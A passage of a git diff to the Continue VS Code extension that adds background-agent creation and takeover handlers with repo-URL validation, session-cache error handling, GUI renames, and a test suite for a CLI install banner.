GitHub sign-in status changes, reload config vscode.authentication.onDidChangeSessions(async (e) => { const env = await getControlPlaneEnv(this.ide.getIdeSettings()); diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 9af399c73..fd71d9354 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -15,6 +15,11 @@ import { WEBVIEW_TO_CORE_PASS_THROUGH, } from "core/protocol/passThrough"; import { stripImages } from "core/util/messageContent"; +import { normalizeRepoUrl } from "core/util/repoUrl"; +import { + sanitizeShellArgument, + validateGitHubRepoUrl, +} from "core/util/sanitization"; import * as vscode from "vscode"; import { ApplyManager } from "../apply"; @@ -31,6 +36,7 @@ import { getExtensionUri } from "../util/vscode"; import { VsCodeIde } from "../VsCodeIde"; import { VsCodeWebviewProtocol } from "../webviewProtocol"; +import { encodeFullSlug } from "../../../../packages/config-yaml/dist"; import { VsCodeExtension } from "./VsCodeExtension"; type ToIdeOrWebviewFromCoreProtocol = ToIdeFromCoreProtocol & @@ -106,12 +112,16 @@ export class VsCodeMessenger { this.onWebview("toggleDevTools", (msg) => { vscode.commands.executeCommand("continue.viewLogs"); }); + this.onWebview("reloadWindow", (msg) => { vscode.commands.executeCommand("workbench.action.reloadWindow"); }); this.onWebview("focusEditor", (msg) => { vscode.commands.executeCommand("workbench.action.focusActiveEditorGroup"); }); + this.onWebview("toggleFullScreen", (msg) => { + vscode.commands.executeCommand("continue.openInNewWindow"); + }); this.onWebview("acceptDiff", async ({ data: { filepath, streamId } }) => { await vscode.commands.executeCommand( @@ -252,6 +262,395 @@ export class VsCodeMessenger { editDecorationManager.clear(); }); + this.onWebview("session/share", async (msg) => { + await vscode.commands.executeCommand( + "continue.shareSession", + msg.data.sessionId, + ); + }); + + this.onWebview("createBackgroundAgent", async (msg) => { + const configHandler = await configHandlerPromise; + const { content, contextItems, selectedCode, organizationId } = msg.data; + + // Convert resolved content to plain text prompt + const prompt = stripImages(content); + + if (!prompt || prompt.trim().length === 0) { + vscode.window.showErrorMessage( + "Please enter a prompt to create a background agent", + ); + return; + } + + // Get workspace information + const workspaceDirs = await this.ide.getWorkspaceDirs(); + if (workspaceDirs.length === 0) { + vscode.window.showErrorMessage( + "No workspace folder found. Please open a workspace to create a background agent.", + ); + return; + } + + const workspaceDir = workspaceDirs[0]; + let repoUrl = ""; + let branch = ""; + + try { + // Get repo name/URL + const repoName = await this.ide.getRepoName(workspaceDir); + if (repoName) { + // Normalize the URL first to get canonical form + const normalized = normalizeRepoUrl(repoName); + + // Validate the normalized URL to prevent injection attacks + // This ensures we validate what we'll actually use, not just the input + if (!validateGitHubRepoUrl(normalized)) { + vscode.window.showErrorMessage( + "Invalid repository format. Please ensure you're using a valid GitHub repository.", + ); + return; + } + + repoUrl = normalized; + } + + // Get current branch + const branchInfo = await this.ide.getBranch(workspaceDir); + if (branchInfo) { + branch = branchInfo; + } + } catch (e) { + console.error("Error getting repo info:", e); + } + + if (!repoUrl) { + vscode.window.showErrorMessage( + "Unable to determine repository URL. Make sure you're in a git repository.", + ); + return; + } + + // Generate a name from the prompt (first 50 chars, cleaned up) + let name = prompt.substring(0, 50).replace(/\n/g, " ").trim(); + if (prompt.length > 50) { + name += "..."; + } + // Fallback to a generic name if prompt is too short + if (name.length < 3) { + const repoName = await this.ide.getRepoName(workspaceDir); + name = `Agent for ${repoName || "repository"}`; + } + + // Get the current agent configuration from the selected profile + let agent: string | undefined; + try { + const currentProfile = configHandler.currentProfile; + if ( + currentProfile && + currentProfile.profileDescription.profileType !== "local" + ) { + // Encode the full slug to pass as the agent parameter + agent = encodeFullSlug(currentProfile.profileDescription.fullSlug); + } + } catch (e) { + console.error("Error getting agent configuration from profile:", e); + // Continue without agent config - will use default + } + + // Create the background agent + try { + console.log("Creating background agent with:", { + name, + prompt: prompt.substring(0, 50) + "...", + repoUrl, + branch, + contextItemsCount: contextItems?.length || 0, + selectedCodeCount: selectedCode?.length || 0, + agent: agent || "default", + }); + + const result = + await configHandler.controlPlaneClient.createBackgroundAgent( + prompt, + repoUrl, + name, + branch, + organizationId, + contextItems, + selectedCode, + agent, + ); + + vscode.window.showInformationMessage( + `Background agent created successfully! Agent ID: ${result.id}`, + ); + } catch (e) { + console.error("Failed to create background agent:", e); + const errorMessage = + e instanceof Error ? e.message : "Unknown error occurred"; + + // Check if this is a GitHub authorization error + if ( + errorMessage.includes("GitHub token") || + errorMessage.includes("GitHub App") + ) { + const selection = await vscode.window.showErrorMessage( + "Background agents need GitHub access. Please connect your GitHub account to Continue.", + "Connect GitHub", + "Cancel", + ); + + if (selection === "Connect GitHub") { + await this.inProcessMessenger.externalRequest( + "controlPlane/openUrl", + { + path: "settings/integrations", + orgSlug: configHandler.currentOrg?.slug, + }, + ); + } + } else { + vscode.window.showErrorMessage( + `Failed to create background agent: ${errorMessage}`, + ); + } + } + }); + + this.onWebview("listBackgroundAgents", async (msg) => { + const configHandler = await configHandlerPromise; + const { organizationId, limit } = msg.data; + + try { + const result = + await configHandler.controlPlaneClient.listBackgroundAgents( + organizationId, + limit, + ); + return result; + } catch (e) { + console.error("Error listing background agents:", e); + return { agents: [], totalCount: 0 }; + } + }); + + this.onWebview("openAgentLocally", async (msg) => { + const configHandler = await configHandlerPromise; + const { agentSessionId } = msg.data; + + try { + // First, fetch the agent session to get repo URL and branch + const agentSession = + await configHandler.controlPlaneClient.getAgentSession( + agentSessionId, + ); + if (!agentSession) { + vscode.window.showErrorMessage( + "Failed to load agent session details.", + ); + return; + } + + const repoUrl = agentSession.repoUrl; + const branch = agentSession.branch; + + if (!repoUrl || !branch) { + vscode.window.showErrorMessage( + "Agent session is missing repository or branch information.", + ); + return; + } + + // Validate the repo URL from API response to prevent injection attacks + if (!validateGitHubRepoUrl(repoUrl)) { + vscode.window.showErrorMessage( + "Invalid repository URL from agent session. Please contact support.", + ); + return; + } + + // Get workspace directories + const workspaceDirs = await this.ide.getWorkspaceDirs(); + if (workspaceDirs.length === 0) { + vscode.window.showErrorMessage("No workspace folder is open."); + return; + } + + // Normalize and validate again to ensure the normalized form is safe + const normalizedAgentRepo = normalizeRepoUrl(repoUrl); + if (!validateGitHubRepoUrl(normalizedAgentRepo)) { + vscode.window.showErrorMessage( + "Invalid repository URL after normalization. Please contact support.", + ); + return; + } + + // Find the workspace that matches the agent's repo URL + let matchingWorkspace: string | null = null; + for (const workspaceDir of workspaceDirs) { + const repoName = await this.ide.getRepoName(workspaceDir); + if (repoName) { + const normalizedRepoName = normalizeRepoUrl(repoName); + + if (normalizedRepoName === normalizedAgentRepo) { + matchingWorkspace = workspaceDir; + break; + } + } + } + + if (!matchingWorkspace) { + vscode.window.showErrorMessage( + `This agent is for repository ${repoUrl}. Please open that workspace to take over the workflow.`, + ); + return; + } + + // Get the git repository + const repo = await this.ide.getRepo(matchingWorkspace); + if (!repo) { + vscode.window.showErrorMessage("Could not access git repository."); + return; + } + + // Ask user what to do with uncommitted changes + if ( + repo.state.workingTreeChanges.length > 0 || + repo.state.indexChanges.length > 0 + ) { + const changeCount = + repo.state.workingTreeChanges.length + + repo.state.indexChanges.length; + + const choice = await vscode.window.showWarningMessage( + `You have ${changeCount} uncommitted change(s). What would you like to do?`, + "Stash & Continue", + "Continue Without Stashing", + "Cancel", + ); + + if (choice === "Cancel" || !choice) { + return; + } + + if (choice === "Stash & Continue") { + try { + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: "Stashing local changes...", + cancellable: false, + }, + async () => { + const workspacePath = + vscode.Uri.parse(matchingWorkspace).fsPath; + // Sanitize agentSessionId to prevent command injection + const stashMessage = `Continue: Stashed before opening agent ${agentSessionId}`; + await this.ide.subprocess( + `git stash push -m ${sanitizeShellArgument(stashMessage)}`, + workspacePath, + ); + }, + ); + vscode.window.showInformationMessage( + "Local changes have been stashed.", + ); + } catch (e) { + console.error("Failed to stash changes:", e); + const errorMsg = e instanceof Error ? e.message : String(e); + vscode.window.showErrorMessage( + `Failed to stash changes: ${errorMsg}`, + ); + return; // Stop on stash failure + } + } + // If "Continue Without Stashing" was chosen, just proceed + } + + // Check if we're already on the target branch + try { + const currentBranch = await this.ide.getBranch(matchingWorkspace); + console.log( + `Current branch: ${currentBranch}, Target branch: ${branch}`, + ); + + if (currentBranch !== branch) { + // Try to switch to the branch using VS Code Git API + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: `Switching to branch ${branch}...`, + cancellable: false, + }, + async () => { + try { + // Use VS Code Git API for checkout + await repo.checkout(branch); + } catch (checkoutError: any) { + console.log( + "Checkout failed, trying to fetch first...", + checkoutError, + ); + // If checkout fails, fetch and try again + await repo.fetch(); + await repo.checkout(branch); + } + }, + ); + vscode.window.showInformationMessage( + `Switched to branch ${branch}`, + ); + } else { + console.log("Already on target branch, skipping checkout"); + } + } catch (e: any) { + console.error("Failed to switch branch:", e); + vscode.window.showErrorMessage( + `Failed to switch to branch ${branch}: ${e.message || String(e)}`, + ); + return; + } + + // Fetch the agent state + const agentState = + await configHandler.controlPlaneClient.getAgentState(agentSessionId); + + if (!agentState) { + vscode.window.showErrorMessage( + "Failed to fetch agent state from API. The agent may not exist or you may not have permission.", + ); + return; + } + + if (!agentState.session) { + console.error( + "Agent state is missing session field. Full response:", + agentState, + ); + vscode.window.showErrorMessage( + "Agent state returned but missing session data. This may be a backend issue.", + ); + return; + } + + // For MVP: Simply load the session by sending to webview + // The webview will dispatch the newSession action with the session data + this.webviewProtocol.send("loadAgentSession", { + session: agentState.session, + }); + + vscode.window.showInformationMessage( + `Successfully loaded agent workflow: ${agentState.session.title || "Untitled"}`, + ); + } catch (e) { + console.error("Failed to open agent locally:", e); + vscode.window.showErrorMessage( + `Failed to open agent locally: ${e instanceof Error ? e.message : "Unknown error"}`, + ); + } + }); + /** PASS THROUGH FROM WEBVIEW TO CORE AND BACK **/ WEBVIEW_TO_CORE_PASS_THROUGH.forEach((messageType) => { this.onWebview(messageType, async (msg) => { diff --git a/extensions/vscode/src/stubs/SecretStorage.ts b/extensions/vscode/src/stubs/SecretStorage.ts index 202713cbd..12cc98c35 100644 --- a/extensions/vscode/src/stubs/SecretStorage.ts +++ b/extensions/vscode/src/stubs/SecretStorage.ts @@ -62,6 +62,14 @@ export class SecretStorage { const key = await this.getOrCreateEncryptionKey(); const data = fs.readFileSync(filePath); + // Validate minimum data size to detect corruption early + const minSize = this.saltLength + this.ivLength + this.tagLength; + if (data.length < minSize) { + throw new Error( + `Corrupted cache file: insufficient data (${data.length} bytes, expected at least ${minSize})`, + ); + } + const salt = data.subarray(0, this.saltLength); const iv = data.subarray(this.saltLength, this.saltLength + this.ivLength); const tag = data.subarray( @@ -105,4 +113,12 @@ export class SecretStorage { } return undefined; } + + async delete(key: string): Promise { + const filePath = this.keyToFilepath(key); + if (fs.existsSync(filePath)) { + fs.unlinkSync(filePath); + console.log(`Successfully deleted cache file: ${filePath}`); + } + } } diff --git a/extensions/vscode/src/stubs/WorkOsAuthProvider.ts b/extensions/vscode/src/stubs/WorkOsAuthProvider.ts index f0af9770d..1c0e60bba 100644 --- a/extensions/vscode/src/stubs/WorkOsAuthProvider.ts +++ b/extensions/vscode/src/stubs/WorkOsAuthProvider.ts @@ -161,22 +161,34 @@ export class WorkOsAuthProvider implements AuthenticationProvider, Disposable { scopes?: string[], ): Promise { // await this.hasAttemptedRefresh; - const data = await this.secretStorage.get(SESSIONS_SECRET_KEY); - if (!data) { - return []; - } - try { + const data = await this.secretStorage.get(SESSIONS_SECRET_KEY); + if (!data) { + return []; + } + const value = JSON.parse(data) as ContinueAuthenticationSession[]; return value; } catch (e: any) { - // Capture session file parsing errors to Sentry + // Capture session decrypt and parsing errors to Sentry Logger.error(e, { - context: "workOS_sessions_json_parse", - dataLength: data.length, + context: "workOS_sessions_retrieval", + errorMessage: e.message, }); - console.warn(`Error parsing sessions.json: ${e}`); + console.warn(`Error retrieving or parsing sessions: ${e.message}`); + + // Delete the corrupted cache file to allow fresh start on next attempt + // This handles cases where decryption succeeded but JSON parsing failed + try { + await this.secretStorage.delete(SESSIONS_SECRET_KEY); + } catch (deleteError: any) { + console.error( + `Failed to delete corrupted sessions cache:`, + deleteError.message, + ); + } + return []; } } diff --git a/extensions/vscode/src/util/editLoggingUtils.ts b/extensions/vscode/src/util/editLoggingUtils.ts index 767131868..467ab4f0f 100644 --- a/extensions/vscode/src/util/editLoggingUtils.ts +++ b/extensions/vscode/src/util/editLoggingUtils.ts @@ -3,9 +3,6 @@ import { AutocompleteCodeSnippet } from "core/autocomplete/snippets/types"; import { GetLspDefinitionsFunction } from "core/autocomplete/types"; import { ConfigHandler } from "core/config/ConfigHandler"; import { RecentlyEditedRange } from "core/nextEdit/types"; -import { getContinueGlobalPath, isFileWithinFolder } from "core/util/paths"; -import fs from "fs"; -import { resolve } from "path"; import * as vscode from "vscode"; import { ContinueCompletionProvider } from "../autocomplete/completionProvider"; @@ -21,23 +18,6 @@ export const getBeforeCursorPos = (range: Range, activePos: Position) => { } }; -const isEditLoggingAllowed = async (editedFileURI: string) => { - const globalContinuePath = getContinueGlobalPath(); - const editLogDirsPath = resolve(globalContinuePath, ".editlogdirs"); - - try { - const fileContent = await fs.promises.readFile(editLogDirsPath, "utf-8"); - const stringItems = fileContent - .split("\n") - .map((line) => line.trim()) - .filter((line) => line.length > 0); - - return stringItems.some((dir) => isFileWithinFolder(editedFileURI, dir)); - } catch (error) { - return false; - } -}; - const getWorkspaceDirUri = async (event: vscode.TextDocumentChangeEvent) => { const workspaceFolder = vscode.workspace.getWorkspaceFolder( event.document.uri, @@ -68,7 +48,6 @@ export const handleTextDocumentChange = async ( // Ensure that logging will only happen in the open-source continue repo const workspaceDirUri = await getWorkspaceDirUri(event); if (!workspaceDirUri) return; - if (!(await isEditLoggingAllowed(event.document.uri.toString()))) return; const activeCursorPos = editor.selection.active; const editActions: RangeInFileWithNextEditInfo[] = changes.map((change) => ({ diff --git a/extensions/vscode/src/util/ideUtils.ts b/extensions/vscode/src/util/ideUtils.ts index d8593f7d0..6dd9a3aa2 100644 --- a/extensions/vscode/src/util/ideUtils.ts +++ b/extensions/vscode/src/util/ideUtils.ts @@ -74,6 +74,10 @@ export class VsCodeIdeUtils { return this._workspaceDirectories; } + setWokspaceDirectories(dirs: vscode.Uri[] | undefined): void { + this._workspaceDirectories = dirs; + } + getUniqueId() { return getUniqueId(); } diff --git a/gui/package-lock.json b/gui/package-lock.json index 962b06471..994a43673 100644 --- a/gui/package-lock.json +++ b/gui/package-lock.json @@ -116,6 +116,7 @@ "version": "1.1.0", "license": "Apache-2.0", "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.779.0", "@aws-sdk/client-sagemaker-runtime": "^3.777.0", "@aws-sdk/credential-providers": "^3.778.0", @@ -182,6 +183,7 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", + "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", @@ -235,7 +237,7 @@ }, "../packages/config-yaml": { "name": "@continuedev/config-yaml", - "version": "1.14.0", + "version": "1.23.0", "license": "Apache-2.0", "dependencies": { "@continuedev/config-types": "^1.0.14", diff --git a/gui/public/logos/cometapi.png b/gui/public/logos/cometapi.png new file mode 100644 index 000000000..8e66ff287 Binary files /dev/null and b/gui/public/logos/cometapi.png differ diff --git a/gui/src/components/AssistantAndOrgListbox/AssistantIcon.tsx b/gui/src/components/AssistantAndOrgListbox/AssistantIcon.tsx index 19aa0c418..f1b68266e 100644 --- a/gui/src/components/AssistantAndOrgListbox/AssistantIcon.tsx +++ b/gui/src/components/AssistantAndOrgListbox/AssistantIcon.tsx @@ -1,7 +1,6 @@ -import { SparklesIcon } from "@heroicons/react/24/outline"; +import { ComputerDesktopIcon, SparklesIcon } from "@heroicons/react/24/outline"; import { ProfileDescription } from "core/config/ProfileLifecycleManager"; import { isLocalProfile } from "../../util"; -import { BotIcon } from "../svg/BotIcon"; export interface AssistantIconProps { assistant: ProfileDescription; @@ -13,7 +12,11 @@ export function AssistantIcon({ size = "h-4 w-4", }: AssistantIconProps) { if (isLocalProfile(assistant)) { - return ; + return ( + + ); } else if (assistant.iconUrl) { return ( { e.stopPropagation(); - navigate(CONFIG_ROUTES.AGENTS); + navigate(CONFIG_ROUTES.CONFIGS); }} > diff --git a/gui/src/components/AssistantAndOrgListbox/AssistantOptions.tsx b/gui/src/components/AssistantAndOrgListbox/AssistantOptions.tsx index a8baff971..63fb604e2 100644 --- a/gui/src/components/AssistantAndOrgListbox/AssistantOptions.tsx +++ b/gui/src/components/AssistantAndOrgListbox/AssistantOptions.tsx @@ -16,7 +16,7 @@ export function AssistantOptions({
{profiles?.length === 0 ? (
- No agents found + No config found
) : ( profiles?.map((profile, idx) => ( diff --git a/gui/src/components/AssistantAndOrgListbox/SelectedAssistantButton.tsx b/gui/src/components/AssistantAndOrgListbox/SelectedAssistantButton.tsx index 09334a9ec..0344abc71 100644 --- a/gui/src/components/AssistantAndOrgListbox/SelectedAssistantButton.tsx +++ b/gui/src/components/AssistantAndOrgListbox/SelectedAssistantButton.tsx @@ -34,7 +34,7 @@ export function SelectedAssistantButton({ >
{selectedProfile === null ? ( - "Create your first agent" + "Set up config file" ) : configLoading ? ( ) : ( <> - - + {selectedProfile.iconUrl && ( + + )} + diff --git a/gui/src/components/AssistantAndOrgListbox/index.tsx b/gui/src/components/AssistantAndOrgListbox/index.tsx index 55db674be..cf767c6c3 100644 --- a/gui/src/components/AssistantAndOrgListbox/index.tsx +++ b/gui/src/components/AssistantAndOrgListbox/index.tsx @@ -80,8 +80,8 @@ export function AssistantAndOrgListbox({ close(); } - function onAgentsConfig() { - navigate(CONFIG_ROUTES.AGENTS); + function onConfigsConfig() { + navigate(CONFIG_ROUTES.CONFIGS); close(); } @@ -150,12 +150,12 @@ export function AssistantAndOrgListbox({ />
- Agents + Configs
+
+
+
+ {formatRelativeTime(agent.createdAt)} +
+
+ ); + })} + {totalCount > agents.length && ( +
+ +
+ )} +
+ + ); +} + +function AgentStatusBadge({ status }: { status: string }) { + const statusColors: Record = { + running: "border-success text-success", + pending: "border-warning text-warning", + creating: "border-info text-info", + failure: "border-error text-error", + suspended: "border-description text-description", + }; + + const color = statusColors[status] || "border-description text-description"; + + return ( + + {status} + + ); +} + +function formatRelativeTime(dateString: string): string { + try { + const date = new Date(dateString); + const timestamp = date.getTime(); + + // Guard against invalid dates (NaN) + if (isNaN(timestamp)) { + return dateString; + } + + const now = new Date(); + const diffMs = now.getTime() - timestamp; + const diffMins = Math.floor(diffMs / 60000); + const diffHours = Math.floor(diffMs / 3600000); + const diffDays = Math.floor(diffMs / 86400000); + + if (diffMins < 1) { + return "just now"; + } else if (diffMins < 60) { + return `${diffMins}m ago`; + } else if (diffHours < 24) { + return `${diffHours}h ago`; + } else { + return `${diffDays}d ago`; + } + } catch { + return dateString; + } +} diff --git a/gui/src/components/BackgroundMode/BackgroundModeView.tsx b/gui/src/components/BackgroundMode/BackgroundModeView.tsx new file mode 100644 index 000000000..b721d28c3 --- /dev/null +++ b/gui/src/components/BackgroundMode/BackgroundModeView.tsx @@ -0,0 +1,154 @@ +import { + ArrowPathIcon, + ExclamationTriangleIcon, + RocketLaunchIcon, +} from "@heroicons/react/24/outline"; +import { useCallback, useContext, useEffect, useState } from "react"; +import { useAuth } from "../../context/Auth"; +import { IdeMessengerContext } from "../../context/IdeMessenger"; +import { useAppSelector } from "../../redux/hooks"; +import { selectCurrentOrg } from "../../redux/slices/profilesSlice"; +import { AgentsList } from "./AgentsList"; + +interface BackgroundModeViewProps { + isCreatingAgent?: boolean; +} + +export function BackgroundModeView({ + isCreatingAgent = false, +}: BackgroundModeViewProps) { + const { session, login } = useAuth(); + const ideMessenger = useContext(IdeMessengerContext); + const currentOrg = useAppSelector(selectCurrentOrg); + const [isLoggingIn, setIsLoggingIn] = useState(false); + const [showGitHubSetup, setShowGitHubSetup] = useState(false); + const [checkingGitHub, setCheckingGitHub] = useState(true); + + const handleSignIn = useCallback(async () => { + setIsLoggingIn(true); + try { + await login(false); + } catch (error) { + console.error("Login failed:", error); + } finally { + setIsLoggingIn(false); + } + }, [login]); + + const handleOpenGitHubSettings = useCallback(() => { + // Open the hub settings page for GitHub integration + ideMessenger.post("controlPlane/openUrl", { + path: "settings/integrations/github", + orgSlug: currentOrg?.slug, + }); + }, [ideMessenger, currentOrg]); + + // Check if user has GitHub installations when signed in + useEffect(() => { + async function checkGitHubAuth() { + if (!session) { + setCheckingGitHub(false); + return; + } + + try { + setCheckingGitHub(true); + // Try to list agents - if this fails with GitHub token error, + // we know GitHub isn't connected + const organizationId = + currentOrg?.id !== "personal" ? currentOrg?.id : undefined; + const result = await ideMessenger.request("listBackgroundAgents", { + organizationId, + }); + + // Check for error response + if ("error" in result) { + // Check if error is related to GitHub token + if ( + result.error?.includes("GitHub token") || + result.error?.includes("GitHub App") + ) { + setShowGitHubSetup(true); + } + } else { + // If we got here without error, GitHub is connected + setShowGitHubSetup(false); + } + } catch (error: any) { + // Check if error is related to GitHub token + if ( + error?.message?.includes("GitHub token") || + error?.message?.includes("GitHub App") + ) { + setShowGitHubSetup(true); + } + } finally { + setCheckingGitHub(false); + } + } + + void checkGitHubAuth(); + }, [session, ideMessenger, currentOrg]); + + if (!session) { + return ( +
+ +
+

Background Agents

+

+ Trigger long-running background agents that work on your codebase + autonomously. Sign in to Continue to get started. +

+ +
+
+ ); + } + + return ( +
+ {!checkingGitHub && showGitHubSetup && ( +
+
+ +
+

+ Connect GitHub +

+

+ Background agents need access to your GitHub repositories. + Connect your GitHub account to get started. +

+ +
+
+
+ )} +
+
+ Submit a task above to run a background agent. Your task will appear + below in ~30 seconds once the container starts. +
+ {isCreatingAgent && ( +
+ + Creating task... +
+ )} +
+ +
+ ); +} diff --git a/gui/src/components/CliInstallBanner.test.tsx b/gui/src/components/CliInstallBanner.test.tsx new file mode 100644 index 000000000..134b5aae2 --- /dev/null +++ b/gui/src/components/CliInstallBanner.test.tsx @@ -0,0 +1,491 @@ +import { + act, + fireEvent, + render, + screen, + waitFor, +} from "@testing-library/react"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { IdeMessengerContext } from "../context/IdeMessenger"; +import { MockIdeMessenger } from "../context/MockIdeMessenger"; +import * as util from "../util"; +import * as localStorage from "../util/localStorage"; +import { CliInstallBanner } from "./CliInstallBanner"; + +vi.mock("../util", async () => { + const actual = await vi.importActual("../util"); + return { + ...actual, + getPlatform: vi.fn(), + }; +}); + +vi.mock("../util/localStorage", async () => { + const actual = await vi.importActual("../util/localStorage"); + return { + ...actual, + getLocalStorage: vi.fn(), + setLocalStorage: vi.fn(), + }; +}); + +describe("CliInstallBanner", () => { + let mockIdeMessenger: MockIdeMessenger; + + beforeEach(() => { + vi.clearAllMocks(); + mockIdeMessenger = new MockIdeMessenger(); + vi.mocked(util.getPlatform).mockReturnValue("mac"); + vi.mocked(localStorage.getLocalStorage).mockReturnValue(undefined); + }); + + const renderComponent = async (subprocessResponse: [string, string]) => { + // Mock the subprocess call on the IDE + vi.spyOn(mockIdeMessenger.ide, "subprocess").mockResolvedValue( + subprocessResponse, + ); + + return act(async () => + render( + + + , + ), + ); + }; + + describe("CLI detection", () => { + it("does not render when CLI is installed (subprocess returns path)", async () => { + await renderComponent(["/usr/local/bin/cn", ""]); + + await waitFor(() => { + expect( + screen.queryByText("Try out the Continue CLI"), + ).not.toBeInTheDocument(); + }); + }); + + it("renders when CLI is not installed (subprocess returns empty)", async () => { + await renderComponent(["", "command not found"]); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + + it("renders when CLI is not installed (subprocess returns empty stdout)", async () => { + await renderComponent(["", ""]); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + + it("uses 'which cn' command on mac platform", async () => { + vi.mocked(util.getPlatform).mockReturnValue("mac"); + const subprocessSpy = vi + .spyOn(mockIdeMessenger.ide, "subprocess") + .mockResolvedValue(["", ""]); + + await act(async () => + render( + + + , + ), + ); + + await waitFor(() => { + expect(subprocessSpy).toHaveBeenCalledWith("which cn"); + }); + }); + + it("uses 'which cn' command on linux platform", async () => { + vi.mocked(util.getPlatform).mockReturnValue("linux"); + const subprocessSpy = vi + .spyOn(mockIdeMessenger.ide, "subprocess") + .mockResolvedValue(["", ""]); + + await act(async () => + render( + + + , + ), + ); + + await waitFor(() => { + expect(subprocessSpy).toHaveBeenCalledWith("which cn"); + }); + }); + + it("uses 'where cn' command on windows platform", async () => { + vi.mocked(util.getPlatform).mockReturnValue("windows"); + const subprocessSpy = vi + .spyOn(mockIdeMessenger.ide, "subprocess") + .mockResolvedValue(["", ""]); + + await act(async () => + render( + + + , + ), + ); + + await waitFor(() => { + expect(subprocessSpy).toHaveBeenCalledWith("where cn"); + }); + }); + + it("handles subprocess errors gracefully", async () => { + vi.spyOn(mockIdeMessenger.ide, "subprocess").mockRejectedValue( + new Error("Command failed"), + ); + + await act(async () => + render( + + + , + ), + ); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + }); + + describe("Banner content", () => { + beforeEach(async () => { + await renderComponent(["", "not found"]); + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + + it("displays the title", () => { + expect(screen.getByText("Try out the Continue CLI")).toBeInTheDocument(); + }); + + it("displays the description with 'cn' code element", () => { + const description = screen.getByText(/Use/); + expect(description).toBeInTheDocument(); + expect(screen.getByText("cn")).toBeInTheDocument(); + }); + + it("displays the installation command", () => { + expect(screen.getByText("npm i -g @continuedev/cli")).toBeInTheDocument(); + }); + + it("displays the Learn more link", () => { + expect(screen.getByText("Learn more.")).toBeInTheDocument(); + }); + + it("displays the close button", () => { + // Get the styled close button (it doesn't have a text label) + const buttons = screen.getAllByRole("button"); + // There should be multiple buttons (close, copy, run) + expect(buttons.length).toBeGreaterThan(0); + }); + + it("displays the CommandLine icon", () => { + // The icon should be present in the component + const banner = screen + .getByText("Try out the Continue CLI") + .closest("div"); + expect(banner).toBeInTheDocument(); + }); + }); + + describe("User interactions", () => { + beforeEach(async () => { + await renderComponent(["", "not found"]); + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + + it("dismisses banner when close button is clicked", async () => { + const buttons = screen.getAllByRole("button"); + // First button should be the close button (CloseButton component) + const closeButton = buttons[0]; + fireEvent.click(closeButton); + + await waitFor(() => { + expect( + screen.queryByText("Try out the Continue CLI"), + ).not.toBeInTheDocument(); + }); + }); + + it("opens documentation URL when Learn more link is clicked", async () => { + const postSpy = vi.spyOn(mockIdeMessenger, "post"); + const learnMoreLink = screen.getByText("Learn more."); + + fireEvent.click(learnMoreLink); + + expect(postSpy).toHaveBeenCalledWith( + "openUrl", + "https://docs.continue.dev/guides/cli", + ); + }); + + it("displays the installation command with interactive controls", async () => { + // The installation command should be visible + expect(screen.getByText("npm i -g @continuedev/cli")).toBeInTheDocument(); + // The "Run" text should be visible for the run button + expect(screen.getByText(/Run/i)).toBeInTheDocument(); + }); + + it("runs installation command in terminal when run button is clicked", async () => { + const postSpy = vi.spyOn(mockIdeMessenger, "post"); + + // Find the "Run" text or CommandLineIcon + const runButton = screen.getByText(/Run/i).closest("div"); + if (runButton) { + fireEvent.click(runButton); + + expect(postSpy).toHaveBeenCalledWith("runCommand", { + command: `npm i -g @continuedev/cli && cn "Explore this repo and provide a concise summary of it's contents"`, + }); + } + }); + }); + + describe("Banner visibility states", () => { + it("does not render while CLI check is loading", async () => { + vi.spyOn(mockIdeMessenger.ide, "subprocess").mockImplementation( + () => + new Promise((resolve) => setTimeout(() => resolve(["", ""]), 100)), + ); + + await act(async () => + render( + + + , + ), + ); + + // Should not be visible immediately + expect( + screen.queryByText("Try out the Continue CLI"), + ).not.toBeInTheDocument(); + }); + + it("remains hidden after dismissal even on re-render", async () => { + const { rerender } = await renderComponent(["", "not found"]); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + + // Dismiss the banner + const buttons = screen.getAllByRole("button"); + const closeButton = buttons[0]; + fireEvent.click(closeButton); + + await waitFor(() => { + expect( + screen.queryByText("Try out the Continue CLI"), + ).not.toBeInTheDocument(); + }); + + // Re-render the component + rerender( + + + , + ); + + // Should still be hidden + expect( + screen.queryByText("Try out the Continue CLI"), + ).not.toBeInTheDocument(); + }); + }); + + describe("Edge cases", () => { + it("handles whitespace in subprocess output", async () => { + await renderComponent([" \n ", ""]); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + + it("detects CLI when path has trailing newline", async () => { + await renderComponent(["/usr/local/bin/cn\n", ""]); + + await waitFor(() => { + expect( + screen.queryByText("Try out the Continue CLI"), + ).not.toBeInTheDocument(); + }); + }); + + it("renders banner when stderr contains 'not found'", async () => { + await renderComponent(["", "cn: command not found"]); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + }); + + describe("Session threshold logic", () => { + const renderWithSessionCount = async ( + sessionCount?: number, + sessionThreshold?: number, + ) => { + vi.spyOn(mockIdeMessenger.ide, "subprocess").mockResolvedValue([ + "", + "not found", + ]); + + return act(async () => + render( + + + , + ), + ); + }; + + it("shows banner when no threshold is set", async () => { + await renderWithSessionCount(0, undefined); + + await waitFor(() => { + 